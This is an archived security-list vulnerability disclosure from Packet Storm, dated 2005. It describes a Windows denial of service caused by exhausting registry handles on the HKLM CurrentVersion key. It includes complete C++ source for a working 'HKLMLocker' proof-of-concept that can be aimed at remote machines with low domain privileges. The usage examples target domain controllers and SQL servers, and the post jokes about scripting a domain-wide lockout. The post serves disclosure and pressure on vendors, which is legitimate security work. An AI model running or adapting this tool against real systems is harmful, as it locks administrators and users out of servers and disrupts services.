what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

antivir.txt

antivir.txt
Posted Jan 28, 2005
Authored by Vladimir Kraljevic

An unnamed antivirus product can cause a denial of service on Microsoft Windows due to not closing open registry handles.

tags | exploit, denial of service, registry
systems | windows
SHA-256 | 10e74a2c526a065ee0572cf3e0b04c2ade62abdeccdc6aa8429bc8da242910db

antivir.txt

Change Mirror Download
NOTE: Already posted to vuln-dev. Because I'm not receiving comments, I
believe that this one is real.

Dear list,

please inspect the following, your input is welcome. Vendors (Microsoft
and unspecified AV company) are contacted two months ago, I'm not
satisfied with their response and here is the post.
Someone from Microsoft told me that because the code needs to be
executed locally on the machine in the domain, it is not highly
critical for the mission. Perhaps I was able to better explain to them
what is happening, but I was irritated by the fact that we (my company)
paid them for several thousand licences, including the Data Center, and
the Microsoft technical support was not interested in exploring the
possibilities where this issue can lead. I felt a little bit
disappointed.


# A list of vulnerable applications/operating systems/device/etc with
version numbers and patch levels.

Windows NT, possibly *.*, tested on Windows 2000, XP, 2003 regardless
of patch level.


# A list of non-vulnerable applications/operating systems/devices/etc
with version numbers and patch levels.

Not tested with Windows NT 4.0, despite that, there are no known
non-vulnerable servers.
It is not possible (in my experience) to lock the machine from the
VBScript or JScript, please correct me if I'm wrong.


# A detailed discussion of the vulnerability and the environment in
which it was found.

Vuln was found in the production, on SQL servers, running 40+ days.
Vulnerability was discovered because one, for now unnamed Anti Virus
product, three months ago.
Anti Virus is not closing open registry handles, and that leads to the
lock up.

What happens?

<CLAIM>
If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too
much (about 2^16) times from one process, even remotely, logged on at
least as Domain Guest, you are able to deny access to everyone through
the terminal services including domain admins, enterprise admins, etc.
Locally, you are denying access to the users whose profiles are not yet
created on particular machine, regardless of their privileges, because
the profile cannot be created and request fails with "Insufficient
resources" error.
</CLAIM>


# A detailed discussion on how to reproduce the vulnerability, possibly
including exploit programs.

Just log on to the domain, group membership required in default
(immediate post-install, no policy hardening) environment is "Domain
Guests".
Build and run HKLMLocker.exe. If you in addition pass the name of the
server as the argument, lock will be performed on that server.
Examples:

HKLMLocker
This will lock your local machine.

HKLMLocker sql.fabrikam.microsoft.com
This will lock Microsoft's one and only SQL server :)

HKLMLocker.exe %userdomain%
This will probably shoot your DC in the foot ;)

The cpp source follows. You will need tchar.h. Make your own "Lock the
domain" game, I didn't want to implement that functionality. But for
the script kiddie, it is not a problem to make a batch file :)


<CODE>
#include <windows.h>
#include <conio.h>
#include <tchar.h>

#define MAX_KEYS 1048576

void PrintLastErrorString(DWORD gla);

int _tmain(int argc, _TCHAR* argv[])
{
_ftprintf(stdout,
_T("\n")
_T(".:. HKLM Locker POC Tool (C)2004-2005 Vladimir Kraljevic
.:.\n")
_T("\n")
_T("..:: Usage ::..\n")
_T(" HKLMLocker.exe [machine name or its IP address]\n")
_T("\n")
_T("..:: Examples ::..\n")
_T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
_T(" HKLMLocker.exe 10.0.0.1\n")
_T("\n")
_T(" - if machine name is not supplied it'll run on local
machine\n")
_T(" - in the first step it locks specified target, then waits
for enter\n")
_T(" - when you press enter, it will close the resources and free
the target\n")
_T("\n\n")
);

HKEY hkMachine=HKEY_LOCAL_MACHINE;
if(argc == 2) {
HKEY hk=NULL;
SetLastError(NO_ERROR);
if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
&hk)==ERROR_SUCCESS) {
hkMachine=hk;
_ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
argv[1]);
} else {
_ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine
%s\n"), argv[1]);
PrintLastErrorString(GetLastError());
return -1;
}
}
_fputts(_T("\n"), stdout);

HKEY* pkey;
if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
_ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
sizeof(HKEY)*MAX_KEYS);
goto L_end;
}

int ixKey=0;
for(int i=0; i < MAX_KEYS; i++) {
LONG result;
HKEY hk;

result=RegOpenKeyEx(hkMachine,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
0,
KEY_READ,
&hk);
if(result==ERROR_SUCCESS) {
if(i%100==0)
_ftprintf(stdout, _T("\rOpening key % -16u"), i);
pkey[ixKey++]=hk;
} else {
PrintLastErrorString(GetLastError());
_ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u
(thats OK for unpatched system :)"), i, ixKey);
break;
}
}

_fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource
freeing\n"), stderr);
getch();
_fputts(_T("\n"), stdout);

for(int i=0; i < ixKey; i++) {
if(i%100==0)
_ftprintf(stdout, _T("\rFreeing key % -16u"), i);
RegCloseKey(pkey[i]);
}
_ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);

free(pkey);

L_end:
if(hkMachine!=HKEY_LOCAL_MACHINE)
RegCloseKey(hkMachine);

_fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
getch();

return 0;
}

void PrintLastErrorString(DWORD gla)
{
if(gla==NO_ERROR)
return;
PVOID pbuffer=NULL;
if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
gla,
0,
(LPTSTR)&pbuffer,
65535/sizeof(TCHAR),
NULL)) {
_ftprintf(stderr, _T("\nERROR: Failed to format message for
GetLastError() code %u (%#08x)\n"), gla, gla);
return;
}
_ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"),
gla, gla, pbuffer);
LocalFree(pbuffer);
}
</CODE>

# A detailed discussion of solutions, fixes or possible work-arounds.
# References to information related to the vulnerability.
# Appropriate credit if the vulnerability was found by someone else.

Solution is in the producer's hands, since no source code exists.
You can harden this particular registry key in order to additionaly
tighten the possibility of malicious locking.

I'm still trying to prove to the Anti Virus technical support that the
executable that leaks is theirs (what is clearly visible from
ProcExplorer / SysInternals.com), what is the problem etc., I'm pretty
irritated so far. In one week you will know the name of the Anti Virus
vendor if they decide to go by the hard lane. I already noticed them
several times, and during the period of three months I did everything
they needed, but we are on the beginning.

I hope that they are subscribed to Vuln-Dev@SecurityFocus.com.
(Or BugTraq@SecurityFocus.com)




__________________________________
Do you Yahoo!?
Meet the all-new My Yahoo! - Try it today!
http://my.yahoo.com


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close